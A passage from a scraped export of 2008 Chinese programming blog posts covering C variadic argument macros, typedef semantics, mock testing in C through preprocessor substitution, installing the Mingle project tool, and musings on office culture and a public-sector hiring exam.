sizeof(n)+sizeof(int)-1经过圆整后，一定会是\u0026gt;=4的整数；在其他系统平台上，圆整的目标值有的是4，有的则是8，视具体系统而定。\n2、#define va_arg(ap,t) ( *(t *)((ap += _INTSIZEOF(t)) – _INTSIZEOF(t)) )\n其实有了var_args_func的实现，这里也就不难理解了。不过这里有一个trick，很多人一开始肯定对先加上_INTSIZEOF(t)，又减去_INTSIZEOF(t)很不理解，其实这里是一点就透的：整个表达式((ap += _INTSIZEOF(t)) – _INTSIZEOF(t)) 返回的值其实和最初的ap所指向的地址是一致的，关键就是在整个表达式被evaluated后，ap却指向了下一个参数的地址了，就这么简单。\n在P.J.Plauger的\u0026quot;The standard C library\u0026quot;一书的第10章节中也有对stdarg实现的分析，那个版本虽然比较老，但我想应该是现有版本的一个雏形。\n","permalink":"https://tonybai.com/2008/05/07/also-talk-about-c-variable-length-args/","summary":"\u003cp\u003e很多技术人员都有在\u0026quot;技术细节\u0026quot;上\u0026quot;钻牛角尖\u0026quot;的\u0026quot;癖好\u0026quot;，对此很多人褒贬不一；无论怎样，我也是属于这类人。C语言的变长参数在平时做开发时很少会在自己设计的接口中用到，但我们最常用的接口printf就是使用的变长参数接口，在感受到printf强大的魅力的同时，是否想挖据一下到底printf是如何实现的呢？这里我们一起来挖掘一下C语言变长参数的奥秘。\u003c/p\u003e","title":"也谈C语言变长参数"},{"content":"C语言语法简单，但内涵却博大精深；如果在学习时只是止步于表面，那么往往后期会遇到很多困难。typedef是C语言中一个很好用的工具，大量存在于已有代码中，特别值得一提的是：C++标准库实现中更是对typedef有着大量的使用。但很多初学者对其的理解仅局限于：typedef用来定义一个已有类型的”别名(alias)”。正是因为有了这样的理解，才有了后来初学者在typedef int myint和typedef myint int之间的犹豫不决。很多国内大学的C语言课之授课老师也都是如是说的，或者老师讲的不够透彻，导致学生们都是如是理解的。我这里想结合C语言标准文档以及一些代码实例，也说说typedef。\nint *p;\n这样的代码是C语言中最最基础的一个语句了，大家都知道这个语句声明了一个变量p，其类型是指向整型的指针(pointer to int)；如果在这个声明的前面加上一个typedef后，整个语义(semantics)又会是如何改变的呢？\ntypedef int *p;\n我们先来看看C99标准中关于typedef是如何诠释的？C99标准中这样一小段精辟的描述：”In a declaration whose storage-class specifier is typedef, each declarator defines an identifier to be a typedef name that denotes the type specified for the identifier in the way described in xx”。\n参照这段描述，并拿typedef int *p作为例子来理解：在一个声明中，如果有存储类说明符typedef的修饰，标识符p将被定义为了一个typedef name，这个typedef name表示(denotes)一个类型，什么类型呢？就是int *p这个声明(declarator)中标识符(indentifier)p的类型(int*)。\n再比对一下两个声明：\nint *p;\ntypedef int *p;\n是不是有点”茅舍顿开”的感觉，int *p中, p是一个变量，其类型为pointer to int；在int *p前面增加一个typedef后，p变为一个typedef-name，这个typedef-name所表示的类型就是int *p声明式中p的类型(int*)。说句白话，typedef让p去除了普通变量的身份，摇身一变，变成了p的类型的一个typedef-name了。\n为了巩固上面的理解，我们再来看看”C语言参考手册(C: A Reference Manual)”中的说法：任何declarator(如typedef int *p)中的indentifier(如p)定义为typedef-name， 其(指代p)表示的类型是declarator为正常变量声明(指代int *p)的那个标识符(指代p)的类型(int*)。有些绕嘴，不过有例子支撑：\n[例1]\ntypedef double MYDOUBLE;\n分析:\n去掉typedef ，得到正常变量声明=\u0026gt; double MYDOUBLE;\n变量MYDOUBLE的类型为double;\n=\u0026gt; “typedef double MYDOUBLE”中MYDOUBLE是类型double的一个typedef-name。\nMYDOUBLE d; \u0026lt;=\u0026gt; d是一个double类型的变量\n[例2]\ntypedef double *Dp;\n分析:\n去掉typedef ，得到正常变量声明=\u0026gt; double *Dp;\n变量Dp的类型为double*，即pointer to double;\n=\u0026gt; “typedef double *Dp”中Dp是类型double*的一个typedef-name。\nDp dptr; \u0026lt;=\u0026gt; dptr是一个pointer to double的变量\n[例3]\ntypedef int* Func(int);\n分析:\n去掉typedef ，得到正常变量声明=\u0026gt; int* Func(int);\n变量Func的类型为一个函数标识符，该函数返回值类型为int*，参数类型为int;\n=\u0026gt; “typedef int* Func(int)”中Func是函数类型(函数返回值类型为int*，参数类型为int)的一个typedef-name。\nFunc *fptr; \u0026lt;=\u0026gt; fptr是一个pointer to function with one int parameter, returning a pointer to int\nFunc f; 这样的声明意义就不大了。\n[例4]\ntypedef int (*PFunc)(int);\n分析:\n去掉typedef ，得到正常变量声明=\u0026gt; int (*PFunc)(int);\n变量PFunc的类型为一个函数指针，指向的返回值类型为int，参数类型为int的函数原型;\n=\u0026gt; “typedef int (*PFunc)(int)”中PFunc是函数指针类型(该指针类型指向返回值类型为int，参数类型为int的函数)的一个typedef-name。\nPFunc fptr; \u0026lt;=\u0026gt; fptr是一个pointer to function with one int parameter, returning int\n[例5]\ntypedef int A[5];\n分析:\n去掉typedef ，得到正常变量声明 =\u0026gt; int A[5];\n变量A的类型为一个含有5个元素的整型数组；\n=\u0026gt; “typedef int A[5]“中A是含有5个元素的数组类型的一个typedef-name。\nA a = {3, 4, 5, 7, 8};\nA b = { 3, 4, 5, 7, 8, 9}; /* 会给出Warning: excess elements in array initializer */\n[例6]\ntypedef int (*A)[5]; (注意与typedef int* A[5]; 区分)\n分析:\n去掉typedef ，得到正常变量声明 =\u0026gt; int (*A)[5];\n变量A的类型为pointer to an array with 5 int elements；\n=\u0026gt; “typedef int (*A)[5]“中A是”pointer to an array with 5 int elements”的一个typedef-name。\nint c[5] = {3, 4, 5, 7, 8}; A a = \u0026amp;c;\nprintf(“%d\\n”, (*a)[0]); /* output: 3 */\n如果这样赋值：\nint c[6] = {3, 4, 5, 7, 8, 9}; A a = \u0026amp;c; /* 会有Warning: initialization from incompatible pointer type */\n[例7]\ntypedef struct _Foo_t Foo_t;\n分析:\n去掉typedef ，得到正常变量声明 =\u0026gt; struct _Foo_t Foo_t;\n变量Foo_t的类型为struct _Foo_t;\n=\u0026gt; “typedef struct _Foo_t Foo_t”中Foo_t是”struct _Foo_t”的一个typedef-name。\n[例8]\ntypedef struct { … // } Foo_t;\n分析:\n去掉typedef ，得到正常变量声明 =\u0026gt; struct { … // } Foo_t;\n变量Foo_t的类型为struct { … // } ;\n=\u0026gt; “typedef struct { … // } Foo_t “中Foo_t是”struct { … // }”的一个typedef-name。这里struct {…//}是一个无”标志名称(tag name)”的结构体声明。\n[例9]\ntypedef struct { … // } Foo_t[1];\n分析：\n去掉typedef ，得到正常变量声明 =\u0026gt; struct { … // } Foo_t[1];\n变量Foo_t的类型为包含一个元素的struct { … // }类别的数组类型;\n=\u0026gt; 这样一来，Foo_t在typedef定义后实际上就变成了一个struct { … // }数组类型。要问实际编程中会这么用typedef吗？你还别说，这还是C语言常用的一个小技巧，如果你有机会看到jmp_buf的类型定义，你就会发现jmp_buf在很多系统实现中也是如此定义的，大约类似：typedef struct XX {…} jmp_buf[1]; 这样做的目的大致是这样的：如果你在函数里定义了一个char a[n]；那么a和\u0026amp;a作为参数传入某个函数时是等价的。看似传值，实则传址，在被调用函数中通过参数可直接修改数组a的元素的内容。另外这么做的目的是否是为了让代码更符合某些人的口味我还不得而知。\n参考资料：\n1、”ISOIEC-98991999(E)–Programming Languages–C”之Page 123;\n2、C语言参考手册(中文版) 之 Page 119\n","permalink":"https://tonybai.com/2008/05/02/also-talk-about-typedef/","summary":"\u003cp\u003eC语言语法简单，但内涵却博大精深；如果在学习时只是止步于表面，那么往往后期会遇到很多困难。typedef是C语言中一个很好用的工具，大量存在于已有代码中，特别值得一提的是：C++标准库实现中更是对typedef有着大量的使用。但很多初学者对其的理解仅局限于：typedef用来定义一个已有类型的”别名(alias)”。正是因为有了这样的理解，才有了后来初学者在typedef int myint和typedef myint int之间的犹豫不决。很多国内大学的C语言课之授课老师也都是如是说的，或者老师讲的不够透彻，导致学生们都是如是理解的。我这里想结合C语言标准文档以及一些代码实例，也说说typedef。\u003c/p\u003e","title":"也谈typedef"},{"content":"今天上午参加了一个公司内部的项目管理工具推广和使用的培训，培训地点在公司新落成不到一载的办公楼的一间视频会议室里，由于是新办公楼，所以这里的设施也都是很新的。特别是会议室里的座椅让人坐起来很是舒服，会议室的椭圆桌摸起来也很有质感，当时就和同事们讨论如果我们的办公环境要是能有这样的座椅和桌子那该多好啊，工作效率肯定能提高不少。目前我们的座椅估计就属于写字楼中最常见的那种，坐起来普遍反映不舒服。\n会议室之所以使用好座椅是因为\u0026quot;面子\u0026quot;问题，但回过头来想想，其使用频率肯定比普通员工的座椅的低很多很多，在这点上不知道公司是如何想的。早在我读大学的时候，当时就有一本叫\u0026quot;人件\u0026quot;的书，书中的第二篇就细致分析了办公环境员工工作的影响，估计公司领导都没有看过这本书:)。记得上次Dreamhead来的时候，给我们简单说了一下Thoughtworks的办公环境，着实让我们这些\u0026quot;没见过世面的\u0026quot;人开了些眼界。相信很多人也都看过网上Google和Microsoft的办公环境大PK，得心应手的\u0026quot;武器\u0026quot;-多台大屏幕液晶、人体工程键盘、标配高性能笔记本；源源不断的\u0026quot;供给\u0026quot;-各种免费的美食和饮品；还有的就是\u0026quot;我的地盘我做主\u0026quot;的自由，在这样的环境下似乎不兴奋都困难。其实我们公司提供的环境属于那种\u0026quot;比上不足，比下有余\u0026quot;，毕竟与Google、Microsoft这样的以\u0026quot;精英文化\u0026quot;为主流的公司不同，以国内行业方案和外包为主的公司如果都像Google、微软一样等提供免费食物、饮品等，估计就得做赔本生意了，人太多(有些类似劳动密集型，特别是外包部门)，现在行业不好做，外包受到汇率的影响利润也越来越薄。\n再深挖掘一下，除了上述的硬件环境外，能吸引人才的更多是一种软环境，也可以说是公司营造的一种氛围；说的更大一些的话，那就是文化了。Google、Microsoft的目标都是最大化的将员工的潜力激发出来，让员工100%投入到工作或工作相关(包括自我学习)的事情上来，那些不需要员工费心考虑的事情都有公司帮忙去做，比如据说Google为员工提供免费洗衣服务。这些如果套用国内的\u0026quot;口号\u0026quot;就是\u0026quot;以人为本\u0026quot;，而且是真正的以人为本。在为员工最大化的解除后顾之忧的同时，像Google这种公司总是保持一种Open的态度，这使公司一直走在业界的前沿，Open让企业更具创造力。反观国内的软件公司，似乎很多走了相反的道路。以我们公司为例，前一阶段以\u0026quot;信息安全\u0026quot;为借口限制员工访问外部网络的做法就是一典型的Close的态度，在如今这个时代，这样的做法只能让我们剩下为之叹息的份儿了。\n小座椅，大道理！\n","permalink":"https://tonybai.com/2008/04/30/thought-on-a-chair/","summary":"\u003cp\u003e今天上午参加了一个公司内部的项目管理工具推广和使用的培训，培训地点在公司新落成不到一载的办公楼的一间视频会议室里，由于是新办公楼，所以这里的设施也都是很新的。特别是会议室里的座椅让人坐起来很是舒服，会议室的椭圆桌摸起来也很有质感，当时就和同事们讨论如果我们的办公环境要是能有这样的座椅和桌子那该多好啊，工作效率肯定能提高不少。目前我们的座椅估计就属于写字楼中最常见的那种，坐起来普遍反映不舒服。\u003c/p\u003e","title":"由一把座椅想到的"},{"content":"大约有两周没有更新博客了，记忆中这么长时间不更新博客的也没有几次。最近烦心的事情很多，项目压力大，家里这边装修烦心的事情就更多了，劳体劳心啊。但这里想说的既不是项目也不是装修，而是另一间令人很是气愤和鄙视的事情-一件关于政府事业单位公开招聘人员的事情。\n上周日，碰巧在街上遇到了一位好朋友A，A给我讲了这么一件事，让我也很是气愤。从A那得知，前段时间辽宁省举行了一次\u0026quot;省政府所属事业单位公开招聘人员\u0026quot;的考试，估计就是那种类似公务员的考试，只不过是省一级别的。A在沈的一家单位做软件开发，收入也属于中等，A这个人比较不懈于为政府部门做事，平时聊天的时候，他也总说到：如果进入政府那种地方，整个人就会变得\u0026quot;堕落\u0026quot;了。这次是A的GF’强迫’他报的名，报的是省政府位于市区的一处信息中心的职位。也许是\u0026quot;无心插柳柳成荫\u0026quot;的缘故，再加上A的基础较好，在首轮笔试中，A取得了第二名的成绩，顺利进入下一轮。A当初没想到自己能进入面试，当事实摆在面前时，A打算继续在他GF面前展示他的能力- 向其GF证明他可以。到这为止：一切看起来很美丽。\nA和我说：在面试之前还要进行一轮资格审查，通过资格审查的考生才能拿到进入面试的准考证。A兴致勃勃的在规定的时间到了\u0026quot;资格审查\u0026quot;的地方，按规定在外面排队，等待\u0026quot;召唤\u0026quot;。他抱怨说：当天的天气很差，北风足有5-6级，卷夹着尘土，这么差的天气，组织方也不让考生到室内排队，而是依旧在外面被大风蹂躏。在忍受了大约30多分钟后，他被叫了进去。审查人员询问了A报考的职位后，让A出示学位证和学历证书，A也是国内名牌大学的高材生，很自豪的拿出了自己的证书。那个审查人员看了后，直接说出了两个字：\u0026ldquo;不行\u0026rdquo;，理由：专业不对口。原来我的这位好友A在本科读的专业并不是\u0026quot;计算机科学与技术\u0026quot;，也就是说不是所谓的\u0026quot;科班\u0026quot;出身。A与那位考官说了自己的工作经历，A毕业后一直从事计算机软件开发工作，工作这么长时间了，也算是资深的计算机工程师了。但那位考官却说：没办法，只能按照上级规定。我的这位朋友A又反问那位考官：那为什么第一轮笔试之前的网上资格审查没有提出\u0026quot;不合格\u0026quot;呢？那位考官说：他们没有进行网上审查，直接都合格了。A无语，遂离开。\n听完这个故事后，很多人都会指责政府部门的不作为，但是除了不作为之外，是否还有其他值得怀疑的地方呢？近两年，公务员、事业单位成为了大学生们以及很多社会在职人员眼中的\u0026quot;香饽饽\u0026quot;，为什么呢？工作不累，收入颇丰，特别是大家传闻中的\u0026quot;灰色收入\u0026quot;。按照老百姓的话就是：\u0026ldquo;大米基本靠送，工资基本不动\u0026rdquo;，是逢年过节就发钱啊。这样的工作对于很多人来讲都是很具吸引力的，再加上中国传统的\u0026quot;官本位\u0026quot;思想，只要是为政府工作都是\u0026quot;官\u0026quot;，\u0026ldquo;官\u0026quot;的社会地位自然也高，找对象好找等等诸如此类的理由，让公务员考试一举成为国内竞争最激烈的考试之一了。上千人竞争一个职位很常见。\n说远了，还是回到小A吧，听完这件事我也和小A谈了我的一些想法，我有三个假想：\n1、如果类似这种考试笔试前的\u0026quot;资格审查\u0026quot;都形同虚设的话，那么政府是否有诈取考生的考试费之嫌疑呢？听小A说笔试的考试费用为50元RMB；相信大家也都听说过每年全国有大约多少人参加公务员或者中事业单位考试了吧；这里要提醒即将参加类似公务员或事业单位考试的人，千万确定、一定以及肯定的比对你所报考的职位与你的专业，如果不一致，那我看就算了吧，否则赔了银子还惹得一肚子气没地方撒；\n2、如果政府只要100%的所谓专业对口人员的话，即使你专业笔试考分第一也不考虑你的话，那么政府似乎有\u0026quot;任人为证\u0026quot;的嫌疑？这会让天下所有人都感到失望的(办假证的人也许该高兴了)。我也不是科班出身，所以对这种事情很敏感并严重鄙视；要求有专业知识并不等于一定要是某专业毕业。无论是从经验还是能力我都为我的朋友A鸣不平，如果公平竞争进入面试，A拿下这个职位是没有问题的，而现在他连参考的机会都没有，就凭一句：所学专业与职位要求不符！试问：哪个领导天生就是学\u0026quot;做领导\u0026quot;这门专业的！借用一下几千年前陈胜吴广的呼声：\u0026ldquo;帝王将相，宁有种乎？\u0026rdquo; 都什么年代了？还在用这种老思想、封闭守旧的思想？不知道面试的时候会不会问你家祖辈是不是贫农啊？是不是根正苗红啊？这样的单位不去也罢；\n3、在小A被拿下后，其他两位同一职位的入围资格审查的人员也有被拿下的可能(小A说面试按照1:3的原则，一共三人进入资格审查阶段)，如果前三名都被拿下的话，谁递补呢？网上只是公布了前三名的成绩(当然如果你是考生你可查自己的成绩，但是你无法知道其他人的成绩)，这里似乎有漏洞，有走后门的漏洞，不能保证某大人物的亲属不\u0026quot;趁虚而入\u0026rdquo;，并看起来合情合理。\n如果以上假想都成立的话，那是我们极其不愿意看到的。还好我的这位朋友A原本就不在乎这个职位，所以才有了上面和我的倾诉，这里写出来给想参加或即将参加类似这种考试的人以警醒。希望上述只是局部现象。\n","permalink":"https://tonybai.com/2008/04/28/make-sure-your-profession-match-before-attending-public-servant-exam/","summary":"\u003cp\u003e大约有两周没有更新博客了，记忆中这么长时间不更新博客的也没有几次。最近烦心的事情很多，项目压力大，家里这边装修烦心的事情就更多了，劳体劳心啊。但这里想说的既不是项目也不是装修，而是另一间令人很是气愤和鄙视的事情-一件关于政府事业单位公开招聘人员的事情。\u003c/p\u003e","title":"事业单位考试：小心'专业不对口'"},{"content":"曾经在多篇blog中报怨过：用C语言写业务逻辑实在是让人身心忐忑不安，再加之C语言自有的\u0026quot;特点\u0026quot;，让其与\u0026quot;单元测试\u0026quot;始终若即若离，曾经尝试过写了一个轻量级C Unit Testing lib，至少目前我依旧在用，但多用在编写独立算法以及底层库的场合。业务层少有使用。业务层多是遗留系统，当初前辈们设计时对可测性考虑不够周全，导致现在无法很好的将各个部分独立抽出进行测试，虽然我们也在做着类似\u0026quot;重构\u0026quot;的工作，但鉴于规模较大，不能一蹴而就，我们需要一步一步找出使用C应对各种单元测试情况的方法。这里说说Mock Test。\n在系统中，我们不可避免的要调用一些外部或者系统级别的接口，而我们在测试时这些接口的环境也许并不存在，但是我们测试业务流程时还是要覆盖到所有的，业界就提出了Mock这个概念，最开始在Java开发领域，后来在其他语言中都有引入。Mock是一种什么东西？其实感觉就是给你一个机会，一种模拟和控制外部/系统级别对象或者接口的方法，这样你大可在不必与真实环境交互的前提下就完成所有依赖外部环境的业务流程的覆盖测试。Mock Test在许多语言中都有支持，但是在C语言中，Mock的支持似乎少之又少，在Cgreen这个C Unit test framework中虽然支持Mock，但是其要求你的待测试的业务接口必须附加一个stub参数，这样具有\u0026quot;侵入性\u0026quot;的设计让我感觉很是别扭，而且对于外部接口，你更是无法改变其接口原型，那么能否有其他的方法呢？这里放出一种我的方案，也不甚完美。\nC语言有其自身的特色，我这里利用的就是其在编译时的一些特色：先进行预编译，再进行编译和链接。我试着在两个阶段之间做一个trick，以达到我的目的-Mock。\n一般我们这样编写一个业务模块：\n/* biz.h */\n#ifndef BIZ_H\n#define BIZ_H\n#include\nint biz_operation(char *fname);\n#endif\n/* biz.c */\n#include \u0026ldquo;biz.h\u0026rdquo;\nint biz_operation(char *fname) {\nFILE *fp = NULL;\nfp = fopen(fname, \u0026ldquo;r\u0026rdquo;);\nif (fp == NULL) {\nprintf(\u0026ldquo;fail to open fle!\\n\u0026rdquo;);\nreturn 1;\n} else {\nprintf(\u0026ldquo;succeed to open file!\\n\u0026rdquo;);\nreturn 0;\n}\n}\n这个业务模块有一个业务操作流程，试图只读方式打开一个文件。如果没有mock辅助，我们在测试时需要在环境下手工创建一个文件，这样才能返回\u0026quot;成功\u0026quot;，否则一直就是\u0026quot;失败\u0026quot;，\u0026ldquo;成功\u0026quot;分支也就无法测试得到。\n我们先建立我们的单元测试代码文件：\n/* test.c */\n#include \u0026ldquo;biz.h\u0026rdquo;\nvoid test_biz_operation_return_succ() {\nint rv;\nrv = biz_operation(\u0026ldquo;test-c-mock.txt\u0026rdquo;);\nxx_assert(rv == 0);\n}\nint main() {\n… …\n/* 无论采用什么单元测试框架，都会有直接或者间接的类似如下调用：*/\ntest_biz_operation_return_succ();\n… …\n}\nbiz_operation依赖一个fopen的C标准库调用，我们如何去做一个fopen的mock接口呢？前面说过，我们要利用C的两阶段编译的特色来完成这个mock。我们增加一个mock.h和一个对应的mock.c，我们在这对文件中实现我们自己对fopen的控制。\n/* mock.h */\n#ifndef MOCK_H\n#define MOCK_H\n#include\nFILE* mock_fopen(char *fname, char *option);\n#endif\n/* mock.c */\n#include \u0026ldquo;mock.h\u0026rdquo;\nFILE* mock_fopen(char *fname, char *option) {\nreturn (FILE*)0×12345678; //在这里，你可以自由控制返回结果\n}\n如何将mock_fopen与fopen联系在一起呢？我们通过gcc提供的-D选项来做。我们形象化的说一下：\n上述源文件的目录结构如下：\n/export/home/mock_test\n- biz/\n- test/\n我们在test目录下新建一个Makefile文件，用来自动完成test的编译。\n## Makefile ##\nBIZOBJDIR = /export/home/mock_test/biz\nBIZOBJ = $(BIZOBJDIR)/mock_biz.o\nBIZSRC = $(BIZOBJDIR)/biz.c\nTESTSRC = test.c mock.c\nTESTOBJ = test.o mock.o\nMOCK_FLAG = -Dfopen=mock_fopen # 关键之处\nall:\ngcc $(MOCK_FLAG) -c -o $(BIZOBJ) $(BIZSRC)\ngcc -c $(TESTSRC) -I$(BIZOBJDIR)\ngcc -o test $(TESTOBJ) $(BIZOBJ)\n我们从理论上分析一下这种方法的可行性：我们先将biz.c编译成.o文件，MOCK_FLAG将biz.c中的fopen替换成了mock_fopen，这些都是预编译器的功劳；然后我们在test目录下，将test.c 和mock.c编译为对应的.o文件，这里无需使用MOCK_FLAG，否则会有compile error发生；最后一步进行链接：test.o中的biz_operation符号在mock_biz.o中被resolved，而mock_biz.o中的biz_operation在mock.o中被resolved。这样链接后，\nfopen处实际上调用的是mock_fopen，也就是那个你可以自由控制的接口。如果在biz.c中还有其他系统调用，比如write, read等，我们都可以\n将其mock加到mock.c中，比如称为mock_write和mock_read，然后更新MOCK_FLAG = -Dfopen=mock_fopen -Dwrite=mock_write -Dread=mock_read等。\n以上结果已经在Solaris上GCC下测试通过了，目前这种想法还不成够熟，也只是在单个业务模块下做了些测试，下一步如果能做到整个工程的单元测试那就更好了。鉴于上面的情况，如果mock过多，对Makefile的维护任务将有很大加重，实现全工程的单元测试集中还需时日。\n","permalink":"https://tonybai.com/2008/04/12/mock-test-in-c-unit-test/","summary":"\u003cp\u003e曾经在多篇blog中报怨过：用C语言写业务逻辑实在是让人身心忐忑不安，再加之C语言自有的\u0026quot;特点\u0026quot;，让其与\u0026quot;单元测试\u0026quot;始终若即若离，曾经尝试过写了一个轻量级\u003ca href=\"http://tonybai.com/2005/11/08/the-design-and-implementation-of-c-unittest-framework/\"\u003eC Unit Testing lib\u003c/a\u003e，至少目前我依旧在用，但多用在编写独立算法以及底层库的场合。业务层少有使用。业务层多是遗留系统，当初前辈们设计时对可测性考虑不够周全，导致现在无法很好的将各个部分独立抽出进行测试，虽然我们也在做着类似\u0026quot;重构\u0026quot;的工作，但鉴于规模较大，不能一蹴而就，我们需要一步一步找出使用C应对各种单元测试情况的方法。这里说说\u003ca href=\"http://tonybai.com/2006/05/12/the-march-of-unit-test/\"\u003eMock Test\u003c/a\u003e。\u003c/p\u003e","title":"C单元测试之Mock Test篇"},{"content":"本周一已经投奔ThoughtWorks的Dreamhead因公事回到沈阳，来到我们公司看望以前的同事。他谈到业界的一种说法：ThoughtWorks在\u0026quot;怎么做\u0026quot;上达到了很高的高度，但是在\u0026quot;做什么\u0026quot;上与Google这样的公司相比还有差距。既然ThoughtWorks在\u0026quot;怎么做\u0026quot;方面树立了榜样，那么这个公司推出的产品估计在\u0026quot;怎么做\u0026quot;上对其他公司也会有所指导^_^。Mingle就应该是其中之一。\n公司走的是CMMI的体系文件，即所谓的\u0026quot;重过程\u0026quot;管理，这样的过程对项目负责人的要求甚是严格，常常发生与QA之间的\u0026quot;你来我往\u0026quot;，甚至为一个无关轻重的文档\u0026quot;严词讨论\u0026quot;一番；再加上部门在过程工具上的选择比较\u0026quot;保守\u0026quot;，自己感觉部门的管理成本还是很高的，有些时候甚至感觉有些浪费。普通编程人员对各种文档也是有着\u0026quot;抵触\u0026quot;情绪的，特别是在\u0026quot;补\u0026quot;一些\u0026quot;写完即过时\u0026quot;的文档时更是无奈。\n程序员都喜欢happy工作，那为什么不选择一个让自己让大家都happy的过程呢？先将CMMI抛在脑后，看看ThoughtWorks推出的这款\u0026quot;敏捷项目管理\u0026quot;工具吧。目前其最新版本是1.1，不过听Dreamhead说，经过性能优化的2.0版本即将出炉了。\nMingle在ThoughtWorks官方站点可以免费下载，且5个用户以下的可以永久免费使用。Mingle是用纯Ruby打造的且运行在JRuby上的一个产品，由于ruby是一门脚本语言，所以其移植性就很好，用其编写的程序安装起来也甚是容易，在Windows、Mac和Unix多种主流平台上跑都是没有问题的；但也正是由于采用ruby编写，Mingle对硬件的要求也甚高，在我这台512M内存的机器上跑是超慢的、让人闹心的，建议还是放到性能好的、单独的服务器上，内存容量官方建议是2G。Mingle后台存储采用数据库方式，目前仅支持mysql和Postgres两种数据库版本，这个比较遗憾，我无法使用现成的Oracle数据库了。\nMingle的安装甚是容易，Windows上有已经编译好的installer程序，unix下有zip包，下载后直接解压即可。Mingle在windows上会将自己设置为一个系统服务，默认开机自启动。如果你的硬件配置不行的话，建议将该服务属性改为手工。Mingle在unix下解压后即可，无需传统程序的configure\u0026amp;make install，也无需pkgadd过程，Mingle可任意放到用户的目录下，无需安装到系统目录下，简单配置后即可启动。在解压后的目录下你会发现mingle.properties 文件，打开该文件修改其中的两个属性即可，其中port是mingserver监听的服务端口；dataDir就是存储项目数据文件的地方，你可以随意指定到你的用户目录下。\nmingle.port=8080\nmingle.dataDir=$YOUR_DATA_STORE_DIR\n配置好以上两项后，在$MINGLE_UNZIP_DIR下，执行./MingleServer start即可。由于MingleServer是一个Shell脚本文件，需要chmod +x一下才能执行。\n现在你可以打开Browser，输入\u0026quot;http://server_ip:8080\u0026quot;，你将会看到Mingle的配置界面，因为现在完整的安装过程尚未结束，你还需配置：数据库连接、mail服务器、license信息以及用户帐户信息等。\n在配置数据库连接之前你需要首先安装数据库，我在自己的机器上安装了一个MySQL5.0。打开\u0026quot;MySQL Command Line Client\u0026quot;，首先执行\u0026quot;create database mingle\u0026quot;创建一个名字为\u0026quot;mingle\u0026quot;的数据库；建完库后还需要做\u0026quot;用户授权\u0026quot;，Mingle才能连接到该库。执行：\u0026ldquo;grant all on mingle.* to mingle@server_host_ip identified by \u0026lsquo;mingle\u0026rsquo;; 这句是给数据库mingle新增了一个在server_host_ip 上用户/密码为mingle/mingle的用户，我们配置mingle时使用这个用户即可。\n配置后，你将进入Mingle的项目List页面，从这里开始你就可以使用Mingle开始\u0026quot;敏捷\u0026quot;的项目流程了。官方站点的Help可以快速的帮你建立和配置好第一个Project，现在你可以开始试用了。\n关于\u0026quot;敏捷\u0026rdquo;，我的认识还不够深刻，但我的目标很明确：如何能从\u0026quot;敏捷\u0026quot;中找到切入点，结合我们产品的特色，找到符合我们\u0026quot;特色\u0026quot;的软件开发流程，让大家在软件开发过程中一路顺畅，没有感到\u0026quot;别扭\u0026quot;的地方。希望能找到。\n[附]\n简单用了一下，发现如下很好的Features：\n- 支持建立\u0026quot;个性化\u0026quot;项目模板，便于复用；\n- 附带项目wiki，便于\u0026quot;项目知识积累和管理\u0026quot;；\n- 丰富的card properties，使需求驱动的管理流程更加清晰；\n- 支持card和源代码之间的link；\n… 待挖掘…\n","permalink":"https://tonybai.com/2008/04/09/the-experience-of-mingle/","summary":"\u003cp\u003e本周一已经投奔\u003ca href=\"http://www.thoughtworks.com.cn/\"\u003eThoughtWorks\u003c/a\u003e的Dreamhead因公事回到沈阳，来到我们公司看望以前的同事。他谈到业界的一种说法：ThoughtWorks在\u0026quot;怎么做\u0026quot;上达到了很高的高度，但是在\u0026quot;做什么\u0026quot;上与Google这样的公司相比还有差距。既然ThoughtWorks在\u0026quot;怎么做\u0026quot;方面树立了榜样，那么这个公司推出的产品估计在\u0026quot;怎么做\u0026quot;上对其他公司也会有所指导^_^。\u003ca href=\"http://studios.thoughtworks.com/mingle-project-intelligence\"\u003eMingle\u003c/a\u003e就应该是其中之一。\u003c/p\u003e\n\u003cp\u003e公司走的是CMMI的体系文件，即所谓的\u0026quot;重过程\u0026quot;管理，这样的过程对项目负责人的要求甚是严格，常常发生与QA之间的\u0026quot;你来我往\u0026quot;，甚至为一个无关轻重的文档\u0026quot;严词讨论\u0026quot;一番；再加上部门在过程工具上的选择比较\u0026quot;保守\u0026quot;，自己感觉部门的管理成本还是很高的，有些时候甚至感觉有些浪费。普通编程人员对各种文档也是有着\u0026quot;抵触\u0026quot;情绪的，特别是在\u0026quot;补\u0026quot;一些\u0026quot;写完即过时\u0026quot;的文档时更是无奈。\u003c/p\u003e","title":"Mingle初体验"},{"content":"上周日和橱柜公司商量好，下午三点到我的房子量尺，橱柜设计师按时到达，拿着一卷尺开始了测量工作。有过装修经历的人都知道：在装修公司进场之前需要橱柜设计师出一份水电改造图，便于装修公司人员确定水电改造的具体方法。装修公司的施工人员与橱柜设计师之间仅需要一份设计图纸就可以完成水电路改造的沟通，这不由得让我想起这样一个问题：\u0026ldquo;软件开发领域的\u0026quot;图纸\u0026quot;在哪里呢\u0026rdquo;?\n\u0026ldquo;图纸\u0026quot;是建筑行业的标准的共同语言，它能让设计师与施工者无缝沟通，同时由于建筑图纸的形象性，普通人看了基本也能了解一二，这样普通用户和设计师沟通起来也是很容易的，即使是一个外国设计师设计的图纸，只要使用了标准的图纸符号，中国的施工者也可以完美的将之实现出来，反之中国设计师的作品，外国施工人员也亦然可以实现之。软件行业的人总喜欢拿软件开发与建筑行业做比较，设计模式就是其中最典型的例子。不过这么多年来，软件开发过程仍然无法达到建筑业的那么\u0026quot;精确\u0026rdquo;，这里的精确不是指过程和进度的精确，而是沟通的\u0026quot;精确\u0026quot;。\n软件开发领域的\u0026quot;报怨声\u0026quot;已经持续了几十年了，需求分析人员无法获取用户的准确需求、系统设计人员无法将自己的全部设计思想很好的传达给编程实现人员，人们都在抱怨：缺少一种\u0026quot;共同语言\u0026quot;，能让他们之间\u0026quot;无缝的沟通\u0026quot;。软件业的大师们绞尽脑汁、费尽心思、提出了多种沟通语言，以试图解决这个问题。这里面最著名的莫过于由OMG组织于20世纪末推出的\u0026quot;统一建模语言(UML)\u0026ldquo;了，顾名思义，UML试图统一软件开发领域所有过程阶段的\u0026quot;沟通标准\u0026rdquo;，需求阶段有Use 